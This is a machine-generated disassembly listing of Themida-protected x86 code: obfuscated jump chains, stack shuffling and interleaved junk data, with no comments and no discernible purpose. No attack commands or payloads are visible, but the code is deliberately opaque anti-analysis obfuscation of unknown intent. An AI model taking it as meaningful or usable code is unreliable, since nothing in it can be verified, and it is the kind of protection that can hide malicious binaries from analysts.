loc_55AD36:				; CODE XREF: Themida_:005580DEj
		push	0EBF3A82h
		pop	eax
		jmp	loc_559BA2
; ---------------------------------------------------------------------------
a3S9		db '3,$é9Â',0
		dd 0EC815C00h, 4, 0BA241489h, 4, 7652BE2Dh, 5D0017Bh, 7B7652BEh
		dd 5A2434FFh, 0C265E9h,	2434FF00h, 4C48159h, 4000000h
		dd 0D29BE9ADh, 0CA81FFFFh, 164F332Dh, 5F16E281h, 0C2817D21h
		dd 1C2EAAD5h, 0A59DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AD95:				; CODE XREF: Themida_:0055B64Aj
		add	eax, edi
		add	eax, 4AB046DBh
		jmp	loc_560007
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 9Ah
		dd 5566B6F6h, 81243C8Bh, 4C4h, 242C8B00h, 8104C483h, 0F507B7F7h
		dd 4689682Ah, 2C890000h, 1BD24h, 0EF010000h, 13BB535Dh
		dd 9489123h, 0E7815BDFh, 53FB578Dh, 0FFC2D4E9h,	0C0B60FFFh
		dd 0E987048Dh, 0C750h
; ---------------------------------------------------------------------------


loc_55ADEC:				; CODE XREF: Themida_:00564AD5j
		dec	dl
		push	dx
		not	byte ptr [esp]
		jmp	loc_566A1D
; ---------------------------------------------------------------------------
aSsc		db '\éèc',0
		align 2


loc_55ADFE:				; CODE XREF: Themida_:005629AFj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		push	esi
		mov	esi, 495D5A86h
		jmp	loc_5699AF
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 2
		dd 0F433E955h, 815BFFFFh, 4C4h,	4B85000h, 1000000h, 24048BC3h
		dd 0FFF2CFE9h, 44C781FFh, 8188DDE6h, 0C626EEC2h, 81FA013Bh
		dd 0C626EEEAh, 0C8C9E93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AE4E:				; CODE XREF: Themida_:0055FA95j
		add	esp, 4
		jmp	loc_56143C
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 29000000h, 0C875BD9h, 2C895C24h, 2BD24h, 0C7810000h
		dd 64F4104Ah, 0E953EF01h, 0F144h, 4BA52h, 0D1290000h, 240C875Ah
		dd 8924248Bh, 46E9240Ch, 81FFFFF6h, 0EA41C7F6h,	5EF3295Ah
		dd 81242C8Bh, 4C4h, 58C18100h, 0E961237Fh, 2613h, 429665Ch
		dd 9E99C24h, 68FFFFAEh,	71DBh, 449168h,	241C8900h, 0B850E389h
		dd 4, 8158C301h, 4EBh, 241C8700h, 0BD89E95Ch, 8758FFFFh
		dd 0C8E9240Ch, 66000007h, 81240C8Bh, 4ECh, 0EEA1E900h
		dd 0CEBD0000h, 0F757A52Ch, 0B1C581D5h, 2968C77Fh, 242C8BEBh
		dd 0E583E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AF11:				; CODE XREF: Themida_:00561C8Fj
		push	ecx
		jmp	loc_558081
; ---------------------------------------------------------------------------


loc_55AF17:				; CODE XREF: Themida_:0055F2E8j
		mov	ebp, esi
		jmp	loc_568B0C
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0B637FBD3h, 0A5ACE9h, 59FB0D00h, 210D4D75h, 3536DD27h
		dd 86B3E7FEh, 0E958C701h, 207Bh, 0E9D0295Fh, 0FFFFAF81h
; ---------------------------------------------------------------------------


loc_55AF48:				; CODE XREF: Themida_:00564FCCj
		mov	[esp], ecx
		mov	ecx, 3C435F97h
		neg	ecx
		xor	ecx, 0D5D3EA15h
		jmp	loc_56AB1E
; ---------------------------------------------------------------------------


loc_55AF5D:				; CODE XREF: Themida_:00564383j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	0D41h
		mov	[esp], ecx
		push	ebp
		jmp	loc_569B82
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5C365F24h, 81243C8Bh, 4C4h, 0E1685100h, 0E9000024h
		dd 0AADFh, 240C8B66h, 3B1A6855h, 24890000h, 0BF575624h
		dd 34B7748Ch, 0D147D7F7h, 0E4EF81E7h, 0E9969116h, 0AE76h
		dd 0E9241487h, 0CCD6h, 28E5EE80h, 0E5C680CEh, 592434FFh
		dd 80A8E9h, 2434FF00h, 0CD87E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AFD6:				; CODE XREF: Themida_:00559695j
		mov	eax, ebp
		pop	ebp
		jmp	loc_55C3D3
; ---------------------------------------------------------------------------
		dw 489h
		dd 2434FF24h, 0E186E9h,	240C3100h, 5C240C33h, 242CD366h
		dd 0ACCAE99Ch, 0C681FFFFh, 4, 0C0DBA52h, 0D2F7111Dh, 0C12C281h
		dd 0EE81111Dh, 22987D9Bh, 0C681D601h, 22987D9Bh, 2434875Ah
		dd 0AC9EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B026:				; CODE XREF: Themida_:0055D733j
		sub	esi, ebp
		jmp	loc_563134
; ---------------------------------------------------------------------------


loc_55B02D:				; CODE XREF: Themida_:005627C6j
		add	ecx, 50593BD2h
		mov	edx, [esp]
		add	esp, 4
		push	7BC2h
		jmp	loc_55EE35
; ---------------------------------------------------------------------------
aZHb		db '‡<$\h',0Bh,0
		dw 8900h
		dd 5BE9241Ch, 31FFFFDBh, 0C33240Ch, 24248B24h, 8B24048Fh
		dd 0E9F62424h, 0FFF020E9h, 8E3C1FFh, 9216C381h,	0DA09DBDAh
		dd 5E0AE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B07E:				; CODE XREF: Themida_:00568359j
		xchg	esi, ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	420Bh
		mov	[esp], esp
		push	eax
		jmp	loc_55EE8E
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 946804C4h, 8900000Dh, 74FF2404h, 8F580424h
		dd 815C2404h, 4ECh, 93F2E900h, 0C4810000h, 4, 4C781h, 0C7830000h
		dd 243C8704h, 2434FF5Ch, 0FFCB03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B0E1:				; CODE XREF: Themida_:0055CCADj
		xor	edx, eax
		jmp	loc_567F53
; ---------------------------------------------------------------------------
		dd 46EE814Eh, 89F783EFh, 24348BF2h, 5204C483h, 3AC9B951h
		dd 4C2960DBh, 0E9590424h, 7314h
; ---------------------------------------------------------------------------


loc_55B108:				; CODE XREF: Themida_:0056781Cj
		add	esi, 4C65ECE4h
		add	ebp, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_56B0DF
; ---------------------------------------------------------------------------
		db 8Fh,	4, 87h
		dd 5C46E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B121:				; CODE XREF: Themida_:00562D9Dj
		add	eax, edi
		pop	edi
		jmp	loc_55F642
; ---------------------------------------------------------------------------


loc_55B129:				; CODE XREF: Themida_:0055A1B5j
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_556F4A
; ---------------------------------------------------------------------------


loc_55B136:				; CODE XREF: Themida_:00559EB5j
		mov	esi, 68035046h
		xor	esi, 1107272Ah
		push	esi
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		add	ebx, edx
		jmp	loc_55B8EC
; ---------------------------------------------------------------------------
		dd 0B5240C89h, 0DC29E92Ah, 0C381FFFFh, 49CBDA17h, 705DC281h
		dd 0DA0144EBh, 5BDAE9h,	0E6895600h, 4C681h, 0C6810000h
		dd 4, 0E9243487h, 0FFFFEB3Fh
; ---------------------------------------------------------------------------


loc_55B18C:				; CODE XREF: Themida_:00561F8Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558DCE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0C8BC828h, 7387E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B1AA:				; CODE XREF: Themida_:0055BCBFj
		mov	edi, 4E61769Ah
		add	edi, 65B36265h
		jmp	loc_55EB1C
; ---------------------------------------------------------------------------


loc_55B1BA:				; CODE XREF: Themida_:00566700j
		push	7646h
		mov	[esp], ecx
		jmp	loc_56A42B
; ---------------------------------------------------------------------------
		db 29h
		dd 0C6815AD6h, 74A20182h, 0EE81EE01h, 74A20182h, 40DAC681h
		dd 0EE8131F4h, 5B354BEAh, 81242C8Bh, 4C4h, 337AE900h, 0E9010000h
		dd 5D2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 5ABA5DCFh
		dec	ebx
		jmp	loc_565880
; ---------------------------------------------------------------------------


loc_55B20D:				; CODE XREF: Themida_:0055D1C8j
		add	ebx, 4
		jmp	loc_55B4A3
; ---------------------------------------------------------------------------


loc_55B215:				; CODE XREF: Themida_:0056AB51j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2BE62D54h
		push	ebx
		mov	ebx, 15B3E951h
		jmp	loc_5606E3
; ---------------------------------------------------------------------------
		dd 68242C89h, 33A7E9C5h, 81242C8Bh, 4C4h, 0BD555500h, 7A763C2Ah
		dd 4246C29h, 0E9555B5Dh, 7857h,	57242489h, 4BFh, 247C0100h
		dd 0ADB5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B26E:				; CODE XREF: Themida_:00558852j
		mov	bh, 0BFh
		jmp	loc_556041
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E9240C8Bh, 0ABFEh, 4C181h, 0C870000h, 24248B24h, 0FF2434FFh
		dd 48B2434h, 4C48324h, 1E036853h, 24890000h, 96DEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B2A6:				; CODE XREF: Themida_:005663B0j
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55607F
; ---------------------------------------------------------------------------
aVtl4SA		db 'VT‹4$éÈ€',0
		align 2
		dw 8143h
		dd 861450EBh, 0E9DF291Bh, 0D472h, 4246C81h, 24E3491Bh
		dd 4244401h, 491BBA52h,	73E924E3h, 80000081h, 0EC83EFF6h
		dd 241C8904h, 8094B252h, 0CAFEBDF2h, 57E9C2FEh
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2FB:				; CODE XREF: Themida_:00561B35j
		push	esi
		mov	esi, 4
		sub	edx, esi
		jmp	loc_558157
; ---------------------------------------------------------------------------
		dd 677F6851h, 1AE908E1h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B313:				; CODE XREF: Themida_:0056ACFDj
		xor	ebp, 6E855A9Ch
		xor	edi, ebp
		pop	ebp
		inc	edi
		shl	edi, 2
		push	ebx
		mov	ebx, 41A534F8h
		dec	ebx
		or	ebx, 19322965h
		neg	ebx
		jmp	loc_56A185
; ---------------------------------------------------------------------------
		dd 0E78957ACh, 4C781h, 0EF810000h, 4, 8B243C87h, 14892424h
		dd 51C8B624h, 657BE9h, 0E9D0F700h, 4536h
; ---------------------------------------------------------------------------


loc_55B35C:				; CODE XREF: Themida_:0055A126j
		add	esi, 41D83E2Fh
		jmp	loc_55AAEC
; ---------------------------------------------------------------------------
		db 81h
		dd 0D4B7C1F7h, 0E912E90Ch, 0D7290000h, 29FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B379:				; CODE XREF: Themida_:0055E5D0j
		push	2C62h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 74895B81h
		or	ebx, 5727F36h
		xor	ebx, 7CE710E7h
		mov	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55B3D0
; ---------------------------------------------------------------------------
		dd 6804C483h, 56C9h, 6992E9h, 83D0F600h, 2DE902ECh, 1000027h
		dd 2434FFDDh, 0E9241C8Bh, 0FFFFB872h, 0E9240C8Bh, 0FFFFC26Eh
; ---------------------------------------------------------------------------


loc_55B3D0:				; CODE XREF: Themida_:0055B39Fj
		push	ecx
		mov	ecx, 55EE6C3Eh
		sub	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, ebp
		push	422Ah
		mov	[esp], eax
		mov	eax, 55EE6C3Eh
		sub	ebx, 22A4783h
		jmp	loc_558175
; ---------------------------------------------------------------------------


loc_55B3FC:				; CODE XREF: Themida_:00562B5Dj
		add	esi, eax
		pop	eax
		jmp	loc_558685
; ---------------------------------------------------------------------------
aFzasJRqssk@	db 'fZ€édžÁRQSéK@',0
		dw 0BD00h
		dd 2, 4EC81h, 2C890000h, 6A9AE924h, 0E2D10000h,	34E95755h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B42F:				; CODE XREF: Themida_:00563A68j
		add	esp, 4
		jmp	loc_558F3E
; ---------------------------------------------------------------------------


loc_55B437:				; CODE XREF: Themida_:0056373Ej
		push	edx
		push	eax
		push	edi
		mov	edi, 461B68F1h
		xor	edi, 66AA6475h
		push	edi
		sub	dword ptr [esp], 0D123E92h
		jmp	loc_561F5F
; ---------------------------------------------------------------------------
		dw 0F888h
		dd 5A66D788h, 0F730FE30h, 1BC4E9h, 59CE0100h, 0CF7EE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B46A:				; CODE XREF: Themida_:00556E6Fj
		pop	eax
		sub	eax, 0EBC2622h
		pop	esi
		sub	eax, 24944D93h
		add	eax, edi
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 24944D93h
		mov	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		push	dword ptr [eax]
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_562F4A
; ---------------------------------------------------------------------------


loc_55B4A3:				; CODE XREF: Themida_:0055B210j
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 6
		push	2A1Ah
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_559CAA
; ---------------------------------------------------------------------------


loc_55B4C0:				; CODE XREF: Themida_:0055C610j
		not	eax
		dec	eax
		not	eax
		sub	eax, 50C6E636h
		mov	edi, eax
		pop	eax
		add	ebx, edi
		pop	edi
		sub	ebx, 17690B87h
		add	ebx, eax
		add	ebx, 17690B87h
		push	ebp
		mov	ebp, 0DBA764Bh
		sub	ebx, 0DB300F0h
		add	ebx, 7FD95538h
		sub	ebx, ebp
		sub	ebx, 7FD95538h
		jmp	loc_5641F0
; ---------------------------------------------------------------------------


loc_55B4FD:				; CODE XREF: Themida_:00556111j
		xor	edx, 782D592Ch
		and	edx, 793371DDh
		shl	edx, 5
		or	edx, 3B630B73h
		sub	edx, 39B515CCh
		jmp	loc_565603
; ---------------------------------------------------------------------------


loc_55B51D:				; CODE XREF: Themida_:0056A05Aj
		pop	eax
		sub	esp, 4
		jmp	loc_557BBE
; ---------------------------------------------------------------------------
aV_0		db ',‚,-',0
		db 0C8h
		dd 51662D04h, 5B0FE9h, 4C48300h, 0FFD801E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B53D:				; CODE XREF: Themida_:005677A0j
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_55CE01
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	40E7h
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_55C25E
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFAAC0h
; ---------------------------------------------------------------------------


loc_55B578:				; CODE XREF: Themida_:005695FBj
		add	ecx, edi
		jmp	loc_559F00
; ---------------------------------------------------------------------------


loc_55B57F:				; CODE XREF: Themida_:0056A3C4j
		and	ecx, ebx
		jmp	loc_557F15
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 0D1F74905h, 1EC6C181h, 0C8017FD1h, 1BB5359h,	0E929F051h
		dd 0FFFFC439h, 4EA81h, 0DEE90000h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5AB:				; CODE XREF: Themida_:005590A2j
		push	ecx
		jmp	loc_560C82
; ---------------------------------------------------------------------------
		db 0B9h, 5Dh, 8
		dd 40E9205Ch, 0C10000F1h, 0FE8707E6h, 0FE87D7F7h, 478ACE81h
		dd 0B8502F5Eh, 0C080A005h, 8958C601h, 59685EF3h, 89000003h
		dd 0EC812414h, 4, 0BF243C89h, 6BC845BFh, 237CEF81h, 86E91F80h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5F7:				; CODE XREF: Themida_:00565221j
		pop	eax
		or	ecx, ebp
		jmp	loc_55FA9A
; ---------------------------------------------------------------------------
		db 68h
		dd 0CB0h, 0B8240489h, 52426D6h,	0DBD92E05h, 8BC301FAh
		dd 0DE92404h, 80FFFFB0h, 61E94CF5h, 8100008Ch, 5B282404h
		dd 575A2E3Ch, 3C5B28BFh, 0E9FA292Eh, 76A1h, 0C181E189h
		dd 4, 0FFB67FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B645:				; CODE XREF: Themida_:00569EADj
		sub	eax, 4AB046DBh
		jmp	loc_55AD95
; ---------------------------------------------------------------------------
		db 5
		dd 40FD67AAh, 0B9E9D801h, 0E900005Eh, 0FFFFA664h
; ---------------------------------------------------------------------------


loc_55B660:				; CODE XREF: Themida_:00563EC8j
		pop	dword ptr [esp]
		jmp	loc_567385
; ---------------------------------------------------------------------------
		dd 0DAF7DAF7h, 6975F281h, 0D689071Ch, 5624148Bh, 0BAECE954h
		dd 61680000h, 8900005Dh, 0D5682414h, 8900003Bh,	4832424h
		dd 815A0424h, 4C2h, 0CCC0E900h,	814D0000h, 1F6587CDh, 3EDC15Dh
		dd 8308EDC1h, 8DE901C5h, 5CFFFFE4h, 9C2404D3h, 0FFA607E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B6BD:				; CODE XREF: Themida_:0055993Cj
		add	edx, 4
		push	ecx
		jmp	loc_5617A8
; ---------------------------------------------------------------------------


loc_55B6C9:				; CODE XREF: Themida_:005590CFj
		mov	edx, 2EE92372h
		and	edx, 2DC23291h
		push	eax
		jmp	loc_56429B
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 5B99C681h, 0DE015A34h, 402AE9h, 24248B00h, 0BE243489h
		dd 53D04324h, 2744CE81h, 81467F1Ch, 0E14EC0EEh,	7EEC16Eh
		dd 0F702E6C1h, 37EE81D6h, 1FF7827h, 24348BF5h, 6804C483h
		dd 1904h, 0BE243489h, 27F775Ch,	3CC9B850h, 0C6215D02h
		dd 74F68158h, 8115AA31h, 0A8053EF6h, 5EF50115h,	2474FF55h
		dd 0F2F0E904h, 0B6520000h, 68BFE9D7h, 0C4830000h, 71ED8104h
		dd 810D1A37h, 5B1C62C5h, 0E27DE978h, 6866FFFFh,	9FE93C23h
		dd 0BE0000CBh, 4, 875EF301h, 0ECE9241Ch, 66000077h, 2CC12C58h
		dd 4F828FEh, 7E4BE9FEh,	0CB010000h, 12E95759h, 0F600003Ch
		dd 68DA86DBh, 0
aFq		db 'fQµ¾',0
		db 6Ch,	24h, 2
		dd 14285966h, 5BEE924h,	4680000h, 5D000000h, 140BEF81h
		dd 0EF017E2Bh, 140BC781h, 2C8B7E2Bh, 4C48124h, 0E9000000h
		dd 2F95h, 5D2434FFh, 8304C483h,	148704C2h, 0EC815C24h
		dd 4, 4255E9h, 0D0E95B00h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7F3:				; CODE XREF: Themida_:005688FAj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_569D14
; ---------------------------------------------------------------------------
aNusX		db '­Ué+å',0
		dw 5200h
		dd 0A662E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B809:				; CODE XREF: Themida_:0056643Ej
		sub	ecx, 5E605F2h
		push	dword ptr [esp]
		jmp	loc_55D146
; ---------------------------------------------------------------------------
		db 53h
		dd 0F800D3B7h, 2821045Bh, 68212CF8h, 2955h, 4F85E9h, 0C4835E00h
		dd 81C30104h, 0F10F79EBh, 45E9586Ah, 8100005Dh,	0CD2BB3EDh
		dd 81CD014Fh, 0CD2BB3C5h, 0FB76E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B852:				; CODE XREF: Themida_:005599CAj
		shl	esi, 7
		push	edi
		mov	edi, 0C03B837Fh
		jmp	loc_564A5B
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0CB95E955h, 0E289FFFFh, 4C281h, 0C2810000h
		dd 4, 5C241487h, 582B6857h, 0C890000h, 0B0E95224h, 81000071h
		dd 0A77C02F1h, 0D0E1812Ch, 814DA76Ah, 0C65B56F1h, 0D1F7490Bh
		dd 0FFD1F4E9h, 24248BFFh, 48B668h, 242C8900h, 0BB53E589h
		dd 57113BC7h, 0CB81D3F7h, 383721A9h, 5507E3C1h,	0D12DE9h
		dd 4C48300h, 81E68956h,	4C6h, 42366800h, 13E90000h, 81FFFFE6h
		dd 4C4h, 0E9C80100h, 0A9C2h
; ---------------------------------------------------------------------------


loc_55B8EC:				; CODE XREF: Themida_:0055B153j
		pop	edx
		jmp	loc_560098
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C4h, 277D0500h, 0E8010045h,	45277D2Dh, 0C7815D00h
		dd 31E64538h, 0EF81C701h, 31E64538h, 8324048Bh,	0BE5604C4h
		dd 30E8468Ah, 1BD55h, 0C6810000h, 105E2515h, 6DE9EE01h
		dd 5A0000C6h, 0D0F6D82Ch, 0FF04D8F6h, 30F5B652h, 83FDE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B946:				; CODE XREF: Themida_:005627F3j
		push	710Dh
		jmp	loc_568AC0
; ---------------------------------------------------------------------------
		dd 73FDB850h, 0E0C15A84h, 0AF93E902h, 0E958FFFFh, 975Dh
; ---------------------------------------------------------------------------


loc_55B964:				; CODE XREF: Themida_:0055D0E9j
		add	esp, 4
		push	esi
		jmp	loc_55A588
; ---------------------------------------------------------------------------
		db 68h,	0E2h, 8
		dd 8F540000h, 68532404h, 0B36h,	0FFD1DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B981:				; CODE XREF: Themida_:0056777Fj
		mov	ecx, 3799336Fh
		mov	eax, ecx
		pop	ecx
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], eax
		jmp	loc_5686A6
; ---------------------------------------------------------------------------


loc_55B99A:				; CODE XREF: Themida_:0056B15Bj
		movzx	cx, ah
		push	small 210Dh
		jmp	loc_55C2D1
; ---------------------------------------------------------------------------


loc_55B9A7:				; CODE XREF: Themida_:00565207j
		push	6DADh
		mov	[esp], edi
		push	37171431h
		mov	edi, [esp]
		jmp	loc_55EF27
; ---------------------------------------------------------------------------
		dd 5C9F68h, 24148900h, 7B2AA4BAh, 4D0A6856h, 3C890000h
		dd 509ABF24h, 0F78131C6h, 0D1EAB98Eh, 5DE9FA29h, 58FFFFF5h
		dd 8E0C159h, 8E482E35h,	0ECB32D2Fh, 0C109862Fh,	7E9C158h
		dd 8141D9F7h, 82611C1h,	59CB2907h, 216BC381h, 0B9517756h
		dd 479D43E2h, 0EC47C181h, 0CB011CAEh, 83240C8Bh, 0C30104C4h
		dd 3029EB81h, 4068644Ch, 8900002Bh, 0E9E9243Ch,	5F000048h
		dd 0DB4EE95Bh, 31ADFFFFh, 30AD68D8h, 7CE90000h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA47:				; CODE XREF: Themida_:00562D54j
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		jmp	loc_566BAE
; ---------------------------------------------------------------------------


loc_55BA67:				; CODE XREF: Themida_:0055D9EAj
		add	bl, al
		sub	esp, 2
		mov	[esp], ax
		mov	al, 66h
		sub	bl, al
		pop	ax
		movzx	eax, al
		jmp	loc_5608B1
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 89E90000h, 0FE000081h, 0BDDAE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA92:				; CODE XREF: Themida_:00566B69j
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 3E0B76FEh
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6CC22A9Bh
		shl	eax, 3
		neg	eax
		jmp	loc_56443B
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F7CE87D1h, 2E6C1DEh, 4FB968h, 241C8900h, 55BD6850h
		dd 60E94596h, 8B00008Fh, 1C332424h, 241C3124h, 0FFDBDBE9h
		dd 1C77FFFFh, 419589Dh,	0CDE99C24h, 56FFFFA1h, 9642E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BAFD:				; CODE XREF: Themida_:005652D8j
		pop	ebp
		sub	ebp, 46ED3BFBh
		mov	eax, ebp
		pop	ebp
		push	eax
		push	edx
		mov	edx, 60D22182h
		and	edx, 76D25E58h
		jmp	loc_568EFA
; ---------------------------------------------------------------------------
		db 21h,	0F2h, 5Eh
		dd 1DF4BF57h, 0F7817905h, 0A4C6E290h, 0DAE9FA01h, 88000090h
		dd 240C8BC8h, 4C481h, 88510000h, 0E9CF88F1h, 64F9h, 8B2434FFh
		dd 0C4832404h, 0A8685504h, 8900003Bh, 4812424h,	424h, 242C8B00h
		dd 4C481h, 55520000h, 0F84019BDh, 401DBA07h, 0EA3107F8h
		dd 83242C8Bh, 65E904C4h, 0BE0000AAh, 65D668A0h,	2FEDF681h
		dd 0F50110BEh, 0D975E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BB91:				; CODE XREF: Themida_:0056838Dj
		sub	dword ptr [esp+4], 10A0718Dh
		push	5ACDh
		jmp	loc_55FF55
; ---------------------------------------------------------------------------
		db 89h
		dd 81425BDAh, 380ED6C2h, 5AD30127h, 0E95BDD01h,	0CABDh
		dd 1E47C581h, 0ED8173DCh, 5072004Ah, 6D31E9h, 88B85000h
		dd 0F723C40Dh, 6E8C1D0h, 21E94048h, 8B000026h, 85662424h
		dd 0DDE99CC8h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BBE7:				; CODE XREF: Themida_:0056130Ej
		sub	eax, 4
		jmp	loc_5676EB
; ---------------------------------------------------------------------------
		db 89h
		dd 83B9240Ch, 5757D82Ah, 6D49BD55h, 0E9556692h,	8A3Bh
; ---------------------------------------------------------------------------


loc_55BC04:				; CODE XREF: Themida_:00559A8Aj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	ecx, 4
		jmp	loc_565763
; ---------------------------------------------------------------------------
		db 0B1h
		dd 9E97E9F8h, 4830000h,	34FF0424h, 0C4815B24h, 4, 0CFF1E9h
		dd 5BD88900h, 0E958C389h, 93DDh, 5C0F68ACh, 3C890000h
		dd 4EC8124h, 89000000h,	4832424h
		db 24h,	4, 5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, 46806EBDh
		sub	ebp, edx
		add	ebp, 46806EBDh
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_55F5D4
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 14h
		dd 24248B24h, 4EC81h, 2C890000h, 815D5424h, 4C5h, 0BB535600h
		dd 4, 2434FF53h, 0EBE9555Eh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC9F:				; CODE XREF: Themida_:0055765Dj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55BCFA
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24043124h, 0FFA00FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BCB5:				; CODE XREF: Themida_:00558299j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55B1AA
; ---------------------------------------------------------------------------
		dd 4C681h, 0C6810000h, 4, 5C243487h, 4C181h, 0C1810000h
		dd 4, 0E9240C87h, 0B998h, 0E94DC780h, 5Ch
; ---------------------------------------------------------------------------


loc_55BCF0:				; CODE XREF: Themida_:0055A844j
		mov	ecx, 0B80AC16Fh
		jmp	loc_55EE1A
; ---------------------------------------------------------------------------


loc_55BCFA:				; CODE XREF: Themida_:0055BCA5j
		pop	esp
		and	ebx, edx
		pop	edx
		jmp	loc_55FE17
; ---------------------------------------------------------------------------


loc_55BD03:				; CODE XREF: Themida_:0056A335j
		mov	[esp], ecx
		push	25BFh
		mov	[esp], ebp
		jmp	loc_5569FB
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0892404h, 405h, 40500h, 4870000h, 54515C24h, 0B750E959h
		dd 0EF00FFFFh, 81240C8Bh, 4C4h,	0ECF4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD3E:				; CODE XREF: Themida_:00567DBDj
		add	esp, 4
		push	ebx
		mov	ebx, 0CF030D4h
		jmp	loc_564593
; ---------------------------------------------------------------------------
		dd 0E94EF780h, 0E730h, 0BEEFE951h, 0C1FE0000h, 0F72E9h
		dd 24043300h, 6424248Bh, 0E9028966h, 6508h, 233968h, 240C8900h
		dd 4C28BEB1h, 8A590424h, 0C4832414h, 0E9C2FE04h, 0FFFFFCFFh
